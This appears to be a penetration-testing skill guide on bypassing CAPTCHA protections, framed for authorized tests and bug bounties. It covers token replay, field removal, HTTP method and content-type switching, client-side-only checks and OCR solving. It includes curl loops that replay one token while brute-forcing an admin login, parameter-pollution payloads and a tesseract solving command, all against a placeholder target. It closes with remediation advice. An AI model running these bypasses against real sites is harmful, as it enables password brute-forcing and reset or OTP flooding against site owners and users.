Identifying weaknesses in CAPTCHA implementations and bypassing them via replay, field removal, method/content-type manipulation, missing server-side validation, and weak OCR-solvable challenges to defeat anti-automation controls.
Instrucciones de origen · Vista previa de solo lectura
name
bypassing-captcha-protections
description
Identifying weaknesses in CAPTCHA implementations and bypassing them via replay, field removal, method/content-type manipulation, missing server-side validation, and weak OCR-solvable challenges to defeat anti-automation controls.
During authorized penetration tests where CAPTCHA is the control protecting login, registration, password reset, contact forms, OTP, checkout, or voting endpoints
When assessing whether a CAPTCHA actually prevents automation/brute-force or is merely cosmetic (client-side only)
When validating that CAPTCHA tokens are single-use, time-bound, and verified server-side and bound to the session
For demonstrating that rate-limiting / abuse controls collapse once the CAPTCHA is removed
During bug bounty programs targeting broken anti-automation and authentication controls
Prerequisites
Authorization: Written penetration testing agreement; CAPTCHA bypass enables high-volume requests, so confirm rate-limit scope
Burp Suite: Repeater for single-request tampering, Intruder/Turbo Intruder for replay/brute-force confirmation
Browser dev tools: To strip client-side validation and inspect how the CAPTCHA is wired into the form
An OCR/solver toolkit: tesseract for weak image CAPTCHAs; a solver service only if in scope
Two captured valid submissions: A baseline (with a freshly solved CAPTCHA) to diff against bypass attempts
Critical: Checks Most Often Missed
CAPTCHA bypasses are usually logic flaws, not AI solving. Before trying to
solve the challenge, try to make it irrelevant. Work this checklist:
Token replay (most common, most missed). Solve the CAPTCHA once, capture
the request, then resend the SAME captcha token/response value many times. If
more than one request succeeds, the token is not single-use — full bypass.
Old session / old token reuse. Reuse a captcha value from a previous
session or a much older request. If still accepted, validation ignores
freshness and session binding.
Remove the field entirely. Delete the g-recaptcha-response /
captcha / h-captcha-response parameter from the body (not blank — gone).
Servers that only validate "if present" skip the check when it is absent.
HTTP method change. If the form is POST, try GET/PUT with the same params.
CAPTCHA verification middleware is often wired to one method only.
Content-Type conversion. Switch application/x-www-form-urlencoded to
application/json (or multipart). The validation filter may only parse one
body format and silently skip the captcha for the others.
Client-side-only enforcement. If the page disables submit until solved but
the server never verifies, simply submit directly with curl/Repeater — strip
the JS check via dev tools to confirm the request goes through.
Static / retrievable challenge. If the CAPTCHA image is served from a
fixed/absolute path or the answer is in a cookie, hidden field, response
header, or alt-text, fetch it directly. Same image on every load = trivially
precomputed.
Weak OCR-solvable image. Low-noise, fixed-font, fixed-length CAPTCHAs are
pipeline-solvable with tesseract at high accuracy — automatable, not a control.
Verb/endpoint confusion on verify step. Some flows verify the captcha on a
separate /verify call and trust a flag afterward; skip straight to the
protected action and see if the flag is assumed true.
Workflow
Step 1: Map How the CAPTCHA Is Wired In
Understand the type, where it is validated, and what parameter carries the answer.
# Capture a full, legitimate submission in Burp after solving the CAPTCHA once.# Identify the CAPTCHA parameter name in the request body, e.g.:# reCAPTCHA v2: g-recaptcha-response=03AGdBq2...# hCaptcha: h-captcha-response=P0_eyJ...# custom: captcha=AB3D9 / captcha_token=... / captcha_id=...# Note the type:# - Client-only widget with no server token check (weakest)# - Server-verified token (reCAPTCHA/hCaptcha -> /siteverify)# - Self-hosted image CAPTCHA (answer compared server-side)# Check whether a captcha_id / challenge_id is sent alongside the answer —# replay testing targets the (id, answer) pair.
Step 2: Test Token Replay and Stale Tokens
The highest-yield check: is the token single-use and fresh?
# Baseline: solve once, capture the request, confirm it succeeds.# Then resend the IDENTICAL request (same captcha value) repeatedly:for i in $(seq 1 10); do
curl -s -o /dev/null -w "%{http_code}\n" \
-X POST "https://target.example.com/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data 'username=admin&password=guess'"$i"'&g-recaptcha-response=03AGdBq2REUSEDTOKEN'done# Multiple 200/302 successes => token is replayable (single-use enforcement missing)# Stale-token test: reuse a captcha value captured minutes/hours earlier, or from# a different session cookie. If accepted, freshness/binding is not enforced.# In Burp: Intruder with a null payload set on the password while pinning the# same captcha token confirms brute-force is possible behind the CAPTCHA.
Step 3: Remove, Empty, and Type-Confuse the Field
Make the server skip validation by malforming or omitting the parameter.
# (a) Field completely removed from the body:
curl -s -o /dev/null -w "removed:%{http_code}\n" \
-X POST "https://target.example.com/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data 'username=admin&password=test'# (b) Empty value:
--data 'username=admin&password=test&g-recaptcha-response='# (c) null / boolean / zero (esp. with JSON body, see Step 5):# "g-recaptcha-response": null# "g-recaptcha-response": true# "g-recaptcha-response": 0# (d) Array / parameter pollution:
--data 'g-recaptcha-response[]=&g-recaptcha-response=valid'
--data 'g-recaptcha-response=&g-recaptcha-response=valid'# Any success (or absence of a captcha error) => server-side validation gap.
Step 4: Change HTTP Method and Content-Type
CAPTCHA middleware is often bound to one method/parser only.
# Method change: original POST -> try GET / PUT with identical parameters
curl -s -o /dev/null -w "GET:%{http_code}\n" \
"https://target.example.com/login?username=admin&password=test"
curl -s -X PUT -o /dev/null -w "PUT:%{http_code}\n" \
"https://target.example.com/login" \
-H "Content-Type: application/x-www-form-urlencoded" \
--data 'username=admin&password=test'# Content-Type conversion: form -> JSON (captcha often only parsed for form data)
curl -s -X POST "https://target.example.com/login" \
-H "Content-Type: application/json" \
--data '{"username":"admin","password":"test"}'# Note the captcha field omitted entirely in the JSON variant.# multipart variant:
curl -s -X POST "https://target.example.com/login" \
-F username=admin -F password=test
Step 5: Defeat Client-Side-Only Enforcement
If the gatekeeping is purely in JavaScript, bypass by talking to the server directly.
# In browser dev tools, confirm the control is client-side:
# - The submit button is disabled until the widget callback fires
# - Removing the 'disabled' attribute or calling the form submit directly works
# - No server response distinguishes solved vs unsolved
# Confirm server does NOT verify by replaying the raw request without any token
# (Step 3a). If it succeeds, enforcement is client-side only -> trivially bypassed
# by scripted clients that never render the widget.
Step 6: Attack Self-Hosted Image CAPTCHAs
For custom image CAPTCHAs, test static reuse, leaked answers, and OCR.
# (a) Static image / fixed path: fetch the image URL repeatedly; if identical# bytes every time, the challenge is precomputable.
curl -s "https://target.example.com/captcha/image" -o c1.png
curl -s "https://target.example.com/captcha/image" -o c2.png
cmp c1.png c2.png && echo"SAME IMAGE EVERY LOAD"# (b) Answer leakage: inspect the captcha response for the plaintext answer in a# cookie, hidden field, JSON field, header, or image alt/title:
curl -s -D - "https://target.example.com/captcha/new" | grep -iE 'set-cookie|answer|captcha'# (c) Absolute-path retrieval bypassing per-session binding:# /captcha/image?id=KNOWN_ID -> precompute (id -> answer) offline# (d) OCR weak images with tesseract:
tesseract c1.png stdout --psm 8 -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
# Measure solve rate over 100 samples; high accuracy => not a real control.
Key Concepts
Concept
Description
Token replay
Reusing a single solved CAPTCHA response across many requests due to missing single-use enforcement
Stale token
A CAPTCHA value accepted long after issuance or from a different session (no freshness/binding)
Field removal
Omitting the CAPTCHA parameter so "validate if present" logic skips the check
Type confusion
Sending null/boolean/array values that pass loose server-side comparisons
Method/Content-Type pivot
Switching verb or body format to route past validation bound to one handler
Client-side-only enforcement
CAPTCHA gating done in JS with no server verification
Static challenge
Image/answer that does not change per request, enabling precomputation
OCR-solvable
Low-noise, fixed-font CAPTCHAs an automated pipeline can read reliably
Solve weak self-hosted image CAPTCHAs and measure solve rate
curl / httpie
Scripted reproduction of removal/empty/method/content-type variants
ffuf
Confirm endpoint accepts high request volume after bypass
Common Scenarios
Scenario 1: Replayable reCAPTCHA Token on Login
The login endpoint verifies g-recaptcha-response but does not mark it consumed. Capturing one solved token and pinning it in Burp Intruder enables unlimited password brute-force.
Scenario 2: CAPTCHA Skipped for JSON Body
The form (application/x-www-form-urlencoded) is protected, but the same endpoint accepts application/json without any captcha field, so automated clients send JSON and bypass entirely.
Scenario 3: Field Removal on Password Reset
Removing the captcha parameter from the reset request returns success; the server only checks the value when the key exists, enabling unlimited reset-email/OTP flooding.
Scenario 4: Static Self-Hosted Image
The custom CAPTCHA serves the same image on every request and stores the answer in a readable cookie, letting a script read the answer directly without solving anything.
Output Format
## CAPTCHA Bypass Finding
**Vulnerability**: Broken CAPTCHA / Anti-Automation Control Bypass
**Severity**: High (CVSS 7.3)
**Location**: POST /login (parameter: g-recaptcha-response)
**OWASP Category**: A07:2021 - Identification and Authentication Failures
### Reproduction Steps
1. Solve the CAPTCHA once and capture the login request in Burp
2. Resend the identical request 10 times with the same g-recaptcha-response token
3. Observe all 10 requests succeed (token not single-use)
4. In Intruder, vary only the password while pinning the token -> brute-force confirmed
### Bypass Techniques Confirmed
| Technique | Result |
|-----------|--------|
| Token replay (same value x10) | Bypassed |
| Field removed from body | Bypassed |
| Content-Type form -> JSON | Bypassed |
| Empty value (captcha=) | Blocked |
### Impact
- Unlimited credential brute-force against /login behind a "protected" form
- Rate-limit/abuse controls rendered ineffective
- Enables password-reset and OTP flooding on related endpoints
### Recommendation
1. Verify the CAPTCHA token server-side on every request; reject when missing,
empty, null, or wrong-typed.
2. Enforce single-use tokens with short expiry, bound to the session and action.
3. Apply CAPTCHA validation across all methods and content-types for the route.
4. Never rely on client-side gating alone; the server must be the source of truth.
5. Replace static/weak self-hosted image CAPTCHAs with a vetted provider or add
strong distortion, randomization, and rate-limiting as defense in depth.